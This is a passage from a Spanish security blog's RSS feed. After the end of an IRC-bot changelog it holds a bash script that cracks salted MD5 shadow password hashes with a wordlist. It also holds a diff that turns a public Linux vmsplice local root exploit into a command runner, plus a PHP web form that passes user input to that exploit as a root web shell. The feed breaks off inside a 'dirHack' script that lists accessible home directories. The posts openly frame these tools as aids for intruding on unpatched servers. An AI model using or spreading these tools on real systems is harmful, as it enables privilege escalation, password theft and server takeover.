- Agregada una funcion extra en la clase del bot usando el binario &#8216;numerador&#8217;<br />
ubicado en el directorio extras, la funcion es !num NUMERO.<br />
- Fixeado bug que causaba la caida del bot al enviar dos veces el comando<br />
para setear una clave. (reportado por Pons)<br />
- Agregado soporte para unrealircd (antes solo habia sido probado en bahamut).<br />
- Testeado en dancer-ircd, bahamut, Hyperion y unrealircd.</p>
<p>VERSION 1.0.0 &#8211; 15 ENE 2007</p>
<p>- Corregido el fallo que cerraba la conexion a la base de datos por idle.</p></blockquote>
<p><strong>Descargar:</strong><br />
Version 1.0.4: <a href="http://blog.zerial.org/files/oophbot-1.0.4.zip">zip</a> | <a href="http://blog.zerial.org/files/oophbot-1.0.4.tar.gz">tar.gz</a> | <a href="http://blog.zerial.org/files/oophbot-1.0.4.tar.bz2">tar.bz2</a></p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Flinux%2Foophbot-bot-para-irc-escrito-en-php%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/linux/oophbot-bot-para-irc-escrito-en-php/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/linux/oophbot-bot-para-irc-escrito-en-php/"  data-text="ooPhBot: Bot para IRC escrito en PHP" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/linux/oophbot-bot-para-irc-escrito-en-php/feed/</wfw:commentRss>
		<slash:comments>22</slash:comments>
		</item>
		<item>
		<title>Descifrando password encriptadas con shadow (md5 + salt)</title>
		<link>http://blog.zerial.org/seguridad/descifrando-password-encriptadas-con-shadow-md5-salt/</link>
		<comments>http://blog.zerial.org/seguridad/descifrando-password-encriptadas-con-shadow-md5-salt/#comments</comments>
		<pubDate>Sat, 18 Oct 2008 05:27:14 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[codigos]]></category>
		<category><![CDATA[cracking]]></category>
		<category><![CDATA[md5]]></category>
		<category><![CDATA[shadow]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=155</guid>
		<description><![CDATA[En Linux las password o claves de los usuarios (incluyendo root) se almacenan en el fichero /etc/shadow, encriptadas y con un salt, que nos complica el descifrado. En pocas palabras una shadow password es un hash del password mas un salt (hashed and salted password). Un ejemplo de una clave shadow es root:$1$xOqq7NEt$vDOA0jbLcaiRbGsj3ddz30:13911::::::, si la [...]]]></description>
			<content:encoded><![CDATA[<p>En Linux las password o claves de los usuarios (incluyendo root) se almacenan en el fichero <strong>/etc/shadow</strong>, encriptadas y con un salt, que nos complica el descifrado. En pocas palabras una <em>shadow password</em> es un hash del password mas un salt (<em>hashed and salted password</em>).<br />
Un ejemplo de una clave shadow es <em>root:$1$xOqq7NEt$vDOA0jbLcaiRbGsj3ddz30:13911::::::</em>, si la analizamos podemos darnos cuenta de lo siguiente:</p>
<ul>
<li>Lo que nos interesa es solamente <em>root:$1$xOqq7NEt$vDOA0jbLcaiRbGsj3ddz30.</em></li>
<li>Lo que esta antes de &#8220;:&#8221; corresponde al usuario: root; y lo que sigue es la password.</li>
<li>Si descomponemos la password podemos obtener:</li>
<li>$1$: Nos indica que corresponde a una encriptacion md5.</li>
<li><em>xOqq7NEt: </em>Es el SALT que se usa para generar el hash del password<em><br />
</em></li>
<li><em>vDOA0jbLcaiRbGsj3ddz30.: </em>Es el hash salteado de nuestra password.</li>
</ul>
<p>Si analizamos todos estos datos podemos darnos cuenta que teniendo el salt podemos encriptar una palabra o frase y generar un hash similar al que estaba en el fichero /etc/shadow, por lo que solo nos queda crear un script y tener un diccionario de palabras a mano para empezar a <em>crackear o descifrar</em> las password en shadow.</p>
<p>El comando <em>mkpasswd </em>nos permite generar un password segun un salt especificado.<br />
Ejemplo:</p>
<blockquote><p>machine:~$ mkpasswd -H md5 <em>miPassword</em> -S DSfdsdaA<br />
$1$DSfdsdaA$kOxgZsSAshG4W.dgGp28Y/</p></blockquote>
<p>He creado un script para hacer mas eficiente y automatiza un poco el proceso.</p>
<p><span id="more-155"></span></p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"><span class="re3">#!/bin/bash</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="re3">################################################################</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re3">#</span></div>
</li>
<li class="li2">
<div class="de2"><span class="re3"># Crack <span class="kw1">for</span> SHADOW PASSWORDS.</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re3"># Usage:</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re3"># &nbsp; &nbsp; &nbsp; crack.<span class="kw2">sh</span> SALT ENCRYPTED_PASS WORD_LIST</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re3"># Example:</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re3"># &nbsp; &nbsp; &nbsp; crack.<span class="kw2">sh</span> mAsCaLaZ 8E6sMbq.fRDo6nbQqIh.z1 wordlist.txt</span></div>
</li>
<li class="li2">
<div class="de2"><span class="re3">#</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re3"># by Zerial &#8211; http://blog.zerial.org &#8211; fernando@zerial.org</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re3">################################################################</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="re2">__SALT=</span>$<span class="nu0">1</span>;</div>
</li>
<li class="li2">
<div class="de2"><span class="re2">__HASH=</span><span class="st0">&quot;md5&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re2">__FILE=</span>$<span class="nu0">3</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re2">__RPWD=</span>$<span class="nu0">2</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw3">echo</span> <span class="st0">&quot;Cracking $__RPWD &#8230;&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw3">echo</span> <span class="st0">&quot;Attempts: `wc -l $3 |cut -f1 -d &#8216; &#8216;`&quot;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">for</span> lista <span class="kw1">in</span> `<span class="kw2">cat</span> <span class="re1">$__FILE</span>`</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">do</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re2">pass_temp=</span>`mkpasswd -H <span class="re1">$__HASH</span> <span class="st0">&quot;$lista&quot;</span> -S <span class="re1">$__SALT</span> |cut -f4 -d <span class="st0">&#8216;$&#8217;</span>`;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re3">#echo </span><span class="st0">&quot;Probing $lista &#8230;&quot;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#91;</span> <span class="st0">&quot;$__RPWD&quot;</span> = <span class="st0">&quot;$pass_temp&quot;</span> <span class="br0">&#93;</span>; <span class="kw1">then</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;Password Cracked.&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;Decrypted password is: $lista&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">exit</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">fi</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re2">i=</span>`<span class="kw2">expr</span> <span class="re1">$i</span> + <span class="nu0">1</span>`;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">done</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw3">echo</span> <span class="st0">&quot;Password not found. <img src='http://blog.zerial.org/wp-includes/images/smilies/icon_sad.gif' alt=':-(' class='wp-smiley' /> &quot;</span>;</div>
</li>
</ol>
</div>
<p><strong>Funcionamiento:</strong> Lee palabras desde un fichero y por cada palabra leida genera un <em>hashed and salted password</em> y la compara con los parametros pasados al script.</p>
<blockquote><p>machine:~$ sh crack.sh DSfdsdaA .NySZJPYFdPr0ETVpMeKx1 wordlist<br />
Cracking .NySZJPYFdPr0ETVpMeKx1 &#8230;<br />
Attempts: 161597</p>
<p>Password Cracked.<br />
Decrypted password is: test</p></blockquote>
<p><a href="http://blog.zerial.org/files/shadow_cracker.sh">Descargar script</a></p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fdescifrando-password-encriptadas-con-shadow-md5-salt%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/descifrando-password-encriptadas-con-shadow-md5-salt/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/descifrando-password-encriptadas-con-shadow-md5-salt/"  data-text="Descifrando password encriptadas con shadow (md5 + salt)" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/descifrando-password-encriptadas-con-shadow-md5-salt/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>root exploit: Ejecutar comando como root</title>
		<link>http://blog.zerial.org/seguridad/root-exploit-ejecutar-comando-como-root/</link>
		<comments>http://blog.zerial.org/seguridad/root-exploit-ejecutar-comando-como-root/#comments</comments>
		<pubDate>Thu, 09 Oct 2008 04:39:21 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[bug]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[kernel]]></category>
		<category><![CDATA[vulnerabilidad]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=98</guid>
		<description><![CDATA[Hace un tiempo se dio a conocer un bug que afectaba a las versiones 2.6.17 &#8211; 2.6.24.1 del Kernel de Linux. Se publicaron distintas variantes del exploit que nos permitia escalar privilegios y ganar acceso root a una maquina con solo ejecutar el exploit. Tuve la idea de modificar uno de estos codigos publicados para [...]]]></description>
			<content:encoded><![CDATA[<p>Hace un tiempo se dio a conocer un <em><a href="http://www.securityfocus.com/bid/27704" target="_other">bug</a></em> que afectaba a las versiones 2.6.17 &#8211; 2.6.24.1 del Kernel de Linux. Se publicaron distintas variantes del exploit que nos permitia escalar privilegios y ganar acceso root a una maquina con solo ejecutar el exploit.<br />
Tuve la idea de modificar uno de estos codigos publicados para poder explotar la vulnerabilidad a traves de la web. Esto se me ocurrio debido a la experiencia en intrusion en servidores, sabiendo que muchos usan versiones de kernel antiguos o que no estan parcheadas.</p>
<blockquote><p>root-exploit.diff</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1">51a52</div>
</li>
<li class="li1">
<div class="de1">&gt; <span class="kw4">char</span>&nbsp; *_cmd;</div>
</li>
<li class="li1">
<div class="de1">55d55</div>
</li>
<li class="li1">
<div class="de1">&lt; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span>err ? <span class="st0">&quot;[-] %s: %s<span class="es0">\n</span>&quot;</span> : <span class="st0">&quot;[-] %s<span class="es0">\n</span>&quot;</span>, msg, strerror<span class="br0">&#40;</span>err<span class="br0">&#41;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2"><span class="nu0">182</span>,183d181</div>
</li>
<li class="li1">
<div class="de1">&lt;</div>
</li>
<li class="li1">
<div class="de1">&lt; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;[+] root<span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">185c183,<span class="nu0">184</span></div>
</li>
<li class="li1">
<div class="de1">&lt; &nbsp; &nbsp; &nbsp; execl<span class="br0">&#40;</span><span class="st0">&quot;/bin/bash&quot;</span>, <span class="st0">&quot;bash&quot;</span>, <span class="st0">&quot;-i&quot;</span>, <span class="kw2">NULL</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2">&#8212;</div>
</li>
<li class="li1">
<div class="de1">&gt; &nbsp; &nbsp; &nbsp; system<span class="br0">&#40;</span>_cmd<span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&gt; &nbsp; &nbsp; &nbsp; <span class="co1">//execl(&quot;/bin/bash&quot;, &quot;bash&quot;, &quot;-i&quot;, NULL);</span></div>
</li>
<li class="li1">
<div class="de1">195a195</div>
</li>
<li class="li1">
<div class="de1">&gt; &nbsp; &nbsp; &nbsp; _cmd = argv<span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li2">
<div class="de2"><span class="nu0">202</span>,205d201</div>
</li>
<li class="li1">
<div class="de1">&lt; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&lt; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot; Linux vmsplice Local Root Exploit<span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&lt; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot; By qaaz<span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&lt; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2"><span class="nu0">221</span>,223d216</div>
</li>
<li class="li1">
<div class="de1">&lt; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;[+] mmap: 0x%lx .. 0x%lx<span class="es0">\n</span>&quot;</span>, map_addr, map_addr + map_size<span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&lt; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;[+] page: 0x%lx<span class="es0">\n</span>&quot;</span>, pages<span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&lt; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;[+] page: 0x%lx<span class="es0">\n</span>&quot;</span>, pages<span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="nu0">241</span>,243d233</div>
</li>
<li class="li2">
<div class="de2">&lt; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;[+] mmap: 0x%lx .. 0x%lx<span class="es0">\n</span>&quot;</span>, map_addr, map_addr + map_size<span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&lt; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;[+] page: 0x%lx<span class="es0">\n</span>&quot;</span>, pages<span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&lt; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;[+] page: 0x%lx<span class="es0">\n</span>&quot;</span>, pages<span class="br0">&#91;</span><span class="nu0">3</span><span class="br0">&#93;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="nu0">258</span>,259d247</div>
</li>
<li class="li1">
<div class="de1">&lt; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;[+] mmap: 0x%lx .. 0x%lx<span class="es0">\n</span>&quot;</span>, map_addr, map_addr + map_size<span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2">&lt; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;[+] page: 0x%lx<span class="es0">\n</span>&quot;</span>, pages<span class="br0">&#91;</span><span class="nu0">4</span><span class="br0">&#93;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">269d256</div>
</li>
<li class="li1">
<div class="de1">&lt; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;[+] mmap: 0x%lx .. 0x%lx<span class="es0">\n</span>&quot;</span>, map_addr, map_addr + map_size<span class="br0">&#41;</span></div>
</li>
</ol>
</div>
</blockquote>
<p>La modificacion que hago es eliminar todos los <em>printf</em> para que el resultado sea mas limpio ademas, tambien modifico el codigo para que ejecute el comando que nosotros le digamos y luego vuelva a su estado normal.</p>
<p><strong>Demostracion</strong></p>
<blockquote><p><code>username@machine:~$ ./root-exploit whoami<br />
root<br />
username@machine:~$ </code></p></blockquote>
<p><span id="more-98"></span></p>
<p>De esta manera podremos programar un sencillo script en php para manipular la maquina vulnerable como se nos de la gana.</p>
<blockquote>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"> &lt; ?PHP</div>
</li>
<li class="li1">
<div class="de1"><a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0">&lt;form action=&quot;</span>?<span class="st0">&quot; method=&quot;</span>post<span class="st0">&quot;&gt;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0">&lt;input name=&quot;</span>cmd<span class="st0">&quot; type=&quot;</span>text<span class="st0">&quot; /&gt;</span></div>
</li>
<li class="li2">
<div class="de2"><span class="st0">&lt;input type=&quot;</span>submit<span class="st0">&quot; value=&quot;</span><a href="http://www.php.net/exec"><span class="kw3">eXec</span></a>!<span class="st0">&quot; /&gt;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="st0">&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/isset"><span class="kw3">isset</span></a><span class="br0">&#40;</span><span class="re0">$_POST</span><span class="br0">&#91;</span><span class="st0">&#8216;cmd&#8217;</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#123;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp;<a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;&lt;textarea cols=&quot;</span><span class="nu0">30</span><span class="st0">&quot; rows=&quot;</span><span class="nu0">120</span><span class="st0">&quot;&gt;&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<a href="http://www.php.net/print"><span class="kw3">print</span></a> <a href="http://www.php.net/shell_exec"><span class="kw3">shell_exec</span></a><span class="br0">&#40;</span><span class="st0">&quot;./root-exploit &quot;</span>.<span class="re0">$_POST</span><span class="br0">&#91;</span><span class="st0">&#8216;cmd&#8217;</span><span class="br0">&#93;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;&lt;/textarea&gt;&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">?&gt;</span></div>
</li>
</ol>
</div>
</blockquote>
<p><strong>Descargas</strong><br />
<a href="http://blog.zerial.org/files/root-exploit.c" target="_other">Variacion del exploit</a><br />
<a href="http://www.milw0rm.com/exploits/5092" target="_other">Exploit original 1</a><br />
<a href="http://www.milw0rm.com/exploits/5093" target="_other">Exploit original 2</a></p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Froot-exploit-ejecutar-comando-como-root%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/root-exploit-ejecutar-comando-como-root/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/root-exploit-ejecutar-comando-como-root/"  data-text="root exploit: Ejecutar comando como root" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/root-exploit-ejecutar-comando-como-root/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>dirHack</title>
		<link>http://blog.zerial.org/seguridad/dirhack/</link>
		<comments>http://blog.zerial.org/seguridad/dirhack/#comments</comments>
		<pubDate>Sun, 05 Oct 2008 01:05:08 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[dirhack]]></category>
		<category><![CDATA[GNU/Linux]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/2008/10/04/dirhack/</guid>
		<description><![CDATA[El siguiente script sirve para hacer auditorias de seguridad en cuanto a los permisos en la estructura de directorios de nuestros servidores. #!/bin/sh # Written by Zerial &#38;amp; Pons # McDonald&#8216;s Day &#8230; # 21.34, Jun 13 2006 &#8211; Updated: 01.41, Jun 15 2006 # # # # # # # # # # # [...]]]></description>
			<content:encoded><![CDATA[<p>El siguiente script sirve para hacer auditorias de seguridad en cuanto a los permisos en la estructura de directorios de nuestros servidores.</p>
<blockquote>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"><span class="re3">#!/bin/sh</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re3"># Written by Zerial &amp;amp; Pons</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re3"># McDonald</span><span class="st0">&#8216;s Day &#8230;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"># 21.34, Jun 13 2006 &#8211; Updated: 01.41, Jun 15 2006</span></div>
</li>
<li class="li2">
<div class="de2"><span class="st0"># # # # # # # # # # # # # # # # # # # # # # # # # #</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"># &nbsp;____ &nbsp;_ &nbsp; &nbsp; &nbsp;_ &nbsp; _ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;_</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"># | &nbsp;_ (_)_ __| | | | __ _ &nbsp;___| | __</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"># | | | | | &#8216;</span>__| |_| |/ _` |/ __| |/ /</div>
</li>
<li class="li1">
<div class="de1"><span class="re3"># | |_| | | | &nbsp;| &nbsp;_ &nbsp;| <span class="br0">&#40;</span>_| | <span class="br0">&#40;</span>__| &nbsp; &lt; # |____/|_|_| &nbsp;|_| |_|__,_|___|_|_</span></div>
</li>
<li class="li2">
<div class="de2"><span class="re3">#</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re3"># # # # # # # # # # # # # # # # # # # # # # # # # #</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re2">version=</span><span class="st0">&quot;1.0.2&quot;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">if</span> <span class="br0">&#91;</span> <span class="re4">$#</span> -lt <span class="nu0">2</span> <span class="br0">&#93;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">then</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;DirHack eXploit $version&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;This thing will list all sub-home directories&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;that are accesable by the user running the&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;script.&quot;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> -e <span class="st0">&quot;tusage: $0 id output-file bz2|gz|text (default is text)&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> -e <span class="st0">&quot;texample: $0 999 out bz2&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">break</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">else</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> &gt; $<span class="nu0">2</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#91;</span> ! -<span class="kw2">w</span> $<span class="nu0">2</span> <span class="br0">&#93;</span></div>
</li>
<li class="li1">
